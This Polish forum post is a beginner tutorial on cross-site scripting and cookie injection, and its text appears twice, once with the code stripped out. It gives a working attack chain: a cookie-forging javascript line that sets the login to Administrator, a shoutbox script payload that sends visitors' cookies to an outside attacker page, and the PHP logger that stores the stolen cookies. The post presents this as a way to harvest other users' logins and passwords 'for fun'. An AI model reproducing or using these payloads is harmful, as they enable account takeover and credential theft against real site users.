Magnefikko
Były Moderator
- Dołączył
- Maj 29, 2004
- Posty
- 709
<div align='center'>Cross-Site Scripting (+Cookie Injection)
by Magnefikko</div>
Witam szanowynych zgromadzonych! ;-)
Spojrzałem sobie ostatnio na swój staary tutorial o XSS... słabiutki. Chaotyczny. Początkującemu może być ciężko "załapać bazę". Postanowiłem więc napisać remake
Do roboty więc!
Co to jest XSS?
XSS to skrót od "Cross-Site Scripting". Jest to metoda ataku na skrypt polegająca na wprowadzeniu własnego kodu HTML w kod strony. Praktycznie rzecz biorąc jest to najczęściej stosowany, najpopularniejszy atak - a to dla tego, że masa stron jest na nie podatna. Zmiennych bywa wiele, a o którejś zazwyczaj webmaster zapomni i nie wprowadzi filtrowania.
Jak znaleść podatność?
Sprawdzaj zmienne które możesz zmienić a które wyświetlane są na stronie - czy są filtrowane? Sprawdź czy przejdzie jakiś znacznik HTML. Szukaj, szukaj, szukaj, szukaj. 80% szans że znajdziesz ;-)
Co mogę zrobić ze stroną podatną na atak typu XSS?
Przede wszystkim sprawdź czy strona zawiera jakieś ciekawe ciastka - PHPSESSID? Ciacha z hasłami? Ciacha z kremem? Staną się Twoim celem. Wystarczy że wrzucisz odpowiedni skrypt albo podeślesz ofierze linka z owym skryptem w pasku adresu ($_GET). Możesz mu też podesłać formularzyk z wypelnionymi już danymi (atak XSS) przesyłany automatycznie na podatną stronę (gdy podatność niestała, tz. gdy nie zapisuje się na stronie, jest w zmiennej typu POST).
Jeżeli nie ma żadnych ciastek do wzięcia, możesz po prostu "przerobić" stronę dla własnej przyjemności
Przykład ataku
Część dla newbie którzy nie znają JS czy PHP.
Zakładamy że trafiliśmy na stronę
Rejestrujemy się, pełni uwielbienia dla ukochanej bajki i logujemy się. Zaglądamy do ciastek (for newbie's add: możesz to zrobić np. wpisując w pasku adresu java script: alert(document.cookie);).
Widzimy dwa ciekawe ciacha:
Jest to oczywiście mój login i hasło. Pierwsze co próbuję zrobić to zmiana ciacha Login.
I odświeżam sobie stronę. Zakładam że tutaj zostałem wylogowany, ale warto żebyście, drodzy newbies, znali tego typu atak (Cookie Injection), bo - wbrew pozorom - błąd pozwalający nam się zalogować w ten sposób na dowolne konto jest zaskakująco cholernie często popełniany.
Dobra, zalogowałem się ponownie, ciacha jak powinny być tak są na miejscu.
Przeglądamy stronę. Po pięciu godzinach szukania najmniejszych szczegółów, skanowania portów, skanowania katalogów metodą prute force, sprawdzania podatności na SQLI, analizowania kodu binarnego obsranego kota zauważamy na stronie głównej wielką ramkę z napisem "ShoutBox". Z minami jaskiniowców którzy pierwszy raz widzą ogień wpisujemy sobie tam coś, i odkrywamy w wielkim zdumieniu że to coś pojawia się na stronie ;-)
Sprawdzamy podatność...
I prosze, nasz tekst jest pięknie podkreślony.
Czas pomyśleć jakby tu zakosić użytkownikom ich ciastka.
Weźmy sobie jakiś serwer z PHP i napiszmy taki skrypt:
Wrzucamy plik na serwer nadając mu nazwę np. aaa.php
Adres pliku:
Teraz wrzucamy do shouta taki kod:
Wysyłamy wiadomość. Na następny dzień mamy plik pełen loginów i haseł
Jakość wciąż kiepska ale cóż - bardziej newbie friendly.
Miłej zabawy.
by Magnefikko</div>
Witam szanowynych zgromadzonych! ;-)
Spojrzałem sobie ostatnio na swój staary tutorial o XSS... słabiutki. Chaotyczny. Początkującemu może być ciężko "załapać bazę". Postanowiłem więc napisać remake
Do roboty więc!
Co to jest XSS?
XSS to skrót od "Cross-Site Scripting". Jest to metoda ataku na skrypt polegająca na wprowadzeniu własnego kodu HTML w kod strony. Praktycznie rzecz biorąc jest to najczęściej stosowany, najpopularniejszy atak - a to dla tego, że masa stron jest na nie podatna. Zmiennych bywa wiele, a o którejś zazwyczaj webmaster zapomni i nie wprowadzi filtrowania.
Jak znaleść podatność?
Sprawdzaj zmienne które możesz zmienić a które wyświetlane są na stronie - czy są filtrowane? Sprawdź czy przejdzie jakiś znacznik HTML. Szukaj, szukaj, szukaj, szukaj. 80% szans że znajdziesz ;-)
Co mogę zrobić ze stroną podatną na atak typu XSS?
Przede wszystkim sprawdź czy strona zawiera jakieś ciekawe ciastka - PHPSESSID? Ciacha z hasłami? Ciacha z kremem? Staną się Twoim celem. Wystarczy że wrzucisz odpowiedni skrypt albo podeślesz ofierze linka z owym skryptem w pasku adresu ($_GET). Możesz mu też podesłać formularzyk z wypelnionymi już danymi (atak XSS) przesyłany automatycznie na podatną stronę (gdy podatność niestała, tz. gdy nie zapisuje się na stronie, jest w zmiennej typu POST).
Jeżeli nie ma żadnych ciastek do wzięcia, możesz po prostu "przerobić" stronę dla własnej przyjemności
Przykład ataku
Część dla newbie którzy nie znają JS czy PHP.
Zakładamy że trafiliśmy na stronę
Kod:
http://www.teletubisie.pl
Widzimy dwa ciekawe ciacha:
Kod:
Login = Magnefikko
Password = ihateyoufuckingredboll
Kod:
java script: alert(document.cookie = "Login=Administrator");
Dobra, zalogowałem się ponownie, ciacha jak powinny być tak są na miejscu.
Przeglądamy stronę. Po pięciu godzinach szukania najmniejszych szczegółów, skanowania portów, skanowania katalogów metodą prute force, sprawdzania podatności na SQLI, analizowania kodu binarnego obsranego kota zauważamy na stronie głównej wielką ramkę z napisem "ShoutBox". Z minami jaskiniowców którzy pierwszy raz widzą ogień wpisujemy sobie tam coś, i odkrywamy w wielkim zdumieniu że to coś pojawia się na stronie ;-)
Sprawdzamy podatność...
Kod:
[u]Cześć, jestem Magnefikko i nie lubię koloru tęczowego.[/u]
Czas pomyśleć jakby tu zakosić użytkownikom ich ciastka.
Weźmy sobie jakiś serwer z PHP i napiszmy taki skrypt:
Kod:
<?php
$Plik = fopen("ciacha.txt", "a");
$A = $_GET['c'];
fputs($Plik, $A."\n");
fclose($Plik);
header("Location: http://www.teletubisie.pl/loguj.php");
?>
Adres pliku:
Kod:
http://www.naszastrona.yoyo.pl/aaa.php
Kod:
<script language = "JavaScript">
document.location = '[url]http://www.naszastrona.yoyo.pl/aaa.php?c='+document.cookie';[/url]
</script>
Jakość wciąż kiepska ale cóż - bardziej newbie friendly.
Miłej zabawy.